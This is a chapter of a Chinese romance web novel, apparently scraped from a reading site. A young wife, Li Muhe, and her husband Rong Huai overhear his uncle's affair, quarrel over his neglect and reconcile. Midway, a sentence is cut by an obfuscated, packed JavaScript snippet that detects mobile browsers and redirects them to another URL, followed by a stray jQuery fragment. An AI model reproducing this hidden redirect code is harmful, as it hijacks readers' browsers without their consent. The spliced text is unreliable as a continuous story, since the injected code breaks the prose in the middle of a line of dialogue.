123读书网 > 玄幻小说 > 夫君今天后悔了吗 > 28. 第 28 章
    直到她闻到一股熟悉的幽微兰香以后,才放弃了挣扎,从这个味道里,她分辨出了身后这人是谁。


    她转过头瞪他,用眼神表达自己的控诉:你做何要吓我?


    容淮并不说话,脸上神色丝毫不见愧疚,而是伸出手指点了点她肩上背着的小包袱。


    李慕荷顿时心虚地避开了他的目光,也不敢再质问他刚刚的行为了。


    那边不堪入耳的声音还在继续,刚才只是李慕荷一个人听便罢了,如今身边多了一个人和她一起听这样的活春宫,她脸红得简直能滴血,整个人像只煮熟了的大螃蟹。


    容淮倒是一如既往的面不改色,似乎并没有被眼前这场景影响到。


    李慕荷简直要佩服他的不动如山了。


    直到许久以后,那边的声响才停了,再度传来悉悉窣窣穿衣服的声音。


    那两人一前一后鬼鬼祟祟地走了。


    李慕荷不知道这俩人是谁,她也看不见,但是通过他们的对话,能猜到其中一个人是府里的老爷,另一个人是府里的丫鬟。


    既然是府里的老爷,那么必然又是容淮的亲人了,至于容淮能不能通过男人的声音,判断出他的身份,她就不得而知了。


    她抬起头,正想提醒容淮可以走了,但是一抬头却吓了一跳。


    容淮那双漆黑的眼睛,幽深如潭,其中墨色翻滚,正直勾勾地盯着她。


    她被吓得身体往后一缩,但是背后就是假山山石,也躲不到哪里去,于是被逼迫缩在狭窄的角落里,就处在假山和容淮之间,面前是压迫感极强的男人,身后是粗粝的假山山石。


    一时之间,竟有一种前有狼后有虎进退两难的错觉。


    “你、你要做什么?”她惊恐地看着容淮。


    容淮低头与她凑近,仿佛就贴在她的耳边问她,声音低哑极了,“荷娘为何要走?”


    语气里甚至有一丝委屈的意思。


    男人说话时的热气就喷洒在她的耳朵边,灼烧得她耳朵发烫。


    “我……我……”她结结巴巴半天,没有说出个理由来。


    她就是一时耍小性子而已,但是她不敢这样直接说出来,也觉得这样说出来会少了自己的面子。


    本来容淮就一直觉得她是个小孩子脾气,她再这样说了,她在他心里一定更孩子气了。她不愿意使她原本就没多少存在感的威信再次降低。


    虽然李慕荷结结巴巴回答不上来话,像只恨不得缩起来的地鼠一样,但是容淮并没有看她可怜,就要放过她的意思,反而进一步逼问:“荷娘不是说喜欢我,要与我长相厮守,做一辈子的夫妻,怎么说走就走?”


    她听到他谴责的话,反倒忍不住满心的委屈了,满腔的酸水涌出来,一时想把心里憋着的话都说个彻底。


    她红着眼眶质问他:“那容郎为何这么久都不来看我?我那日是不应该存心报复,害得容广白摔的骨折,但是我都已经认错了,你……你还让我下跪,我也没有同你计较,反倒是你……是你一直冷落我!”


    话说到一半,她就忍不住哭了,哽咽着勉强把话说完。


    容淮从小娘子抽抽噎噎的声音里拼凑出了真正的原因,语气无奈地解释说:“是我不该,但我并非有意冷落你,实在是这些日子太过忙碌,抽不出功夫,下次再有这种情况,你可以直接过来找我。”


    提起这个,她更委屈了,“我去找了你的!”


    容淮显然不知道这件事情,惊愕地看着她:“什么时候?”


    “就在今天下午啊!你难道不是听了我让婢女给你传的话才过来的吗?”她奇怪道。


    容淮道:“我是忙完了以后,忽然想到你才过来的。”


    她心里的伤心和难过被抚平了一点,但这并不代表她这么轻易地就原谅了他。


    她忍不住满心的委屈,一股脑把下午的事情都说了,“我下午去找你的时候,你还没有回来,所以我让韫玉轩的丫鬟告知你一声,想让你晚上过来找我,结果我等了好久好久,你都没过来!他们说你都回来一个多时辰了,然后我一气之下就决定出去住几天。”


    容淮听到她说自己一气之下要跑出去住几天,眯了眯眼睛。


    他抬起手,揪了揪她略有点儿婴儿肥的脸,“原来是这样。”


    李慕荷又心虚又生气,刚刚的事情还没过去呢!不想让他碰自己,于是一巴掌拍开了他的手。


    她对容淮向来是爱慕的,很少有这么生气的时候。显然这次的事情将她气狠了。


    容淮看她耍脾气也不恼,反而笑吟吟地看着她,倒像是觉得她很可爱似的。


    见他态度很好,小娘子心里的气消了些,委屈巴巴地问:“所以……是你院子里的婢女没有告诉你吗?”


    提起这件事,容淮的声音冷了一点:“嗯,我回去会彻查这件事情。”


    李慕荷怏怏不乐地哼了一声。


    她还以为他故意在晾着她,故意冷落她,原来竟不是。


    “荷娘如今可消气了?这下总可以和我回去了吧?”他温柔而耐心地问她。


    她欲走,忽然想起来刚刚假山里发生的那样离谱的事情,一时又按捺不住好奇心,“刚刚那两个人……你可识得?”


    容淮看了她一眼,却没有回答。


    李慕荷瘪了瘪嘴。


    她觉得他这个眼神一定是知道的意思,但是不乐意告诉她。越不想让人知道的,便越容易让人好奇,于是她的好奇心燃烧得更加旺盛了。


    “所以那两个人是谁啊?”她问。


    “荷娘与其关心这些乱七八糟的事情,不如平日里多关心关心我。”他试图岔开话题。


    李慕荷不服气:“你还要我如何关心你?是你不理我的。”


    “好容郎,你就告诉我嘛!”她抱着他的胳膊试图从他嘴里撬出答案。


    以李慕荷从前小小年纪就看避火图,看艳情话本子的性子,就知道她对这样的八卦是最感兴趣不过的。如今好不容易让她逮着了一个,哪里那么容易就放跑的呢?


    “好容郎,你就跟我说一说嘛……”她摇晃着容淮的胳膊。


    当她感受到被爱的时候,就无师自通地学会了撒娇。


    容淮斜她一眼,“你真想知道?”


    “嗯嗯,”她重重点头,“我要是不知道是谁我今晚一定会睡不着觉的,而且我在府里人生地不熟的,多知道点儿总不是坏事,免得又犯了谁的忌讳。”


    容淮叹息一声,“今晚看到的事情不许告诉其他人。”


    “放心吧,我的嘴巴是最严实


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16053563|177349||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不过的!”她信誓旦旦地保证说。


    “那是我二伯父。”容淮低声说。


    小娘子惊讶的瞪圆了眼,不可思议地看着他。


    怪不得她听那个男人的声音已经不算年轻,原来竟是个老头子!


    她太过惊讶,不小心把心里话说出来了。


    容淮:“……”


    “倒也不至于称为老头子吧?”他对她的称呼感到好笑,“我二伯父今年也不过四十出头。”


    “那也是个半老的老头子了啊……”李慕荷看向他,“他都这么大年纪了,怎么做这样的事情?为老不尊!”


    她骂完以后忽然想起来这是容淮的伯父,于是又连忙两只手一齐捂住了嘴巴,心虚地看着他。


    容淮早已经习惯她的口无遮拦,自然也不会跟她计较,何况他这二伯父是有些不着调。即便容淮作为他的亲侄子,也不能不承认这一点,阖府四个老爷,就属他最荒唐。


    容淮的爹十几年前已经去世,但是大房、二房、三房、四房的老爷都还健在。


    但是二老爷的荒唐也不全然是坏处,其他几方子孙凋敝,唯有二房人丁兴旺。尤其是四房,四老爷身体不好,因而膝下只得一个七娘,容淮这一房也没好到哪里去,亦无亲生兄弟姊妹,只有他一个人。


    “回去吧。”容淮道。


    李慕荷早就在这假山中间感到憋闷了,如今解开了心心念念的疑惑,吃到了瓜,顿觉心满意足,闻言,率先便从假山里走出去了。


    夜里,容府廊下都点着灯笼,所以也不如何黑。月光清清冷冷的洒落下来,照亮了石子路。


    她如今解开了心里的疙瘩,消了气,愿意跟容淮回去了,便兴冲冲走在前面。


    走到一半,正要转过前面的转角回廊时,容淮忽然一把将她拽了回来。


    “唔……”李慕荷及时捂上了自己的嘴。


    她虽然不解小郎君为什么突然把她拽回来,但是她知道她不能发出声音,让别人知道他们大晚上不睡觉在府里瞎逛。本来如今她身上让人诟病的地方就已经够多的了,届时府里的人不知道又要如何议论她了。


    下一刻,


    就有说话声传过来,就在前面不远处,是府中巡夜的人。


    如果她刚刚真的走过去,一准得被抓个正着。


    她不禁有点儿劫后余生的感觉,崇拜地看着容淮,待那群人走远了以后,便忍不住说:“容郎,你也太厉害了吧!反应竟如此敏捷!”


    夸赞完了以后,又不禁好奇道:“你这是如何发现的?他们刚刚一点儿声音也没有!”


    容淮但笑不语,显然并没有为她解开疑惑的打算。


    不说就算了,李慕荷对于这个问题也没那么好奇,总之没有刚刚在假山里对那个男人的身份那样好奇。


    此后,他们便一路顺利地回了桃花苑。


    汀兰正焦急地等待着两位主子。


    桃花苑其他人都以为李慕荷睡了,只有汀兰发现娘子不见了,但是容淮从桃花苑离开前让她不要声张,她就只能焦急地等待着了。


    看见容淮带着李慕荷平安回来了,她心口吊起的大石头这才落了回去。


    幸好及时回来了,也没在府里闹出什么大事,汀兰惊心动魄的一夜才算过去。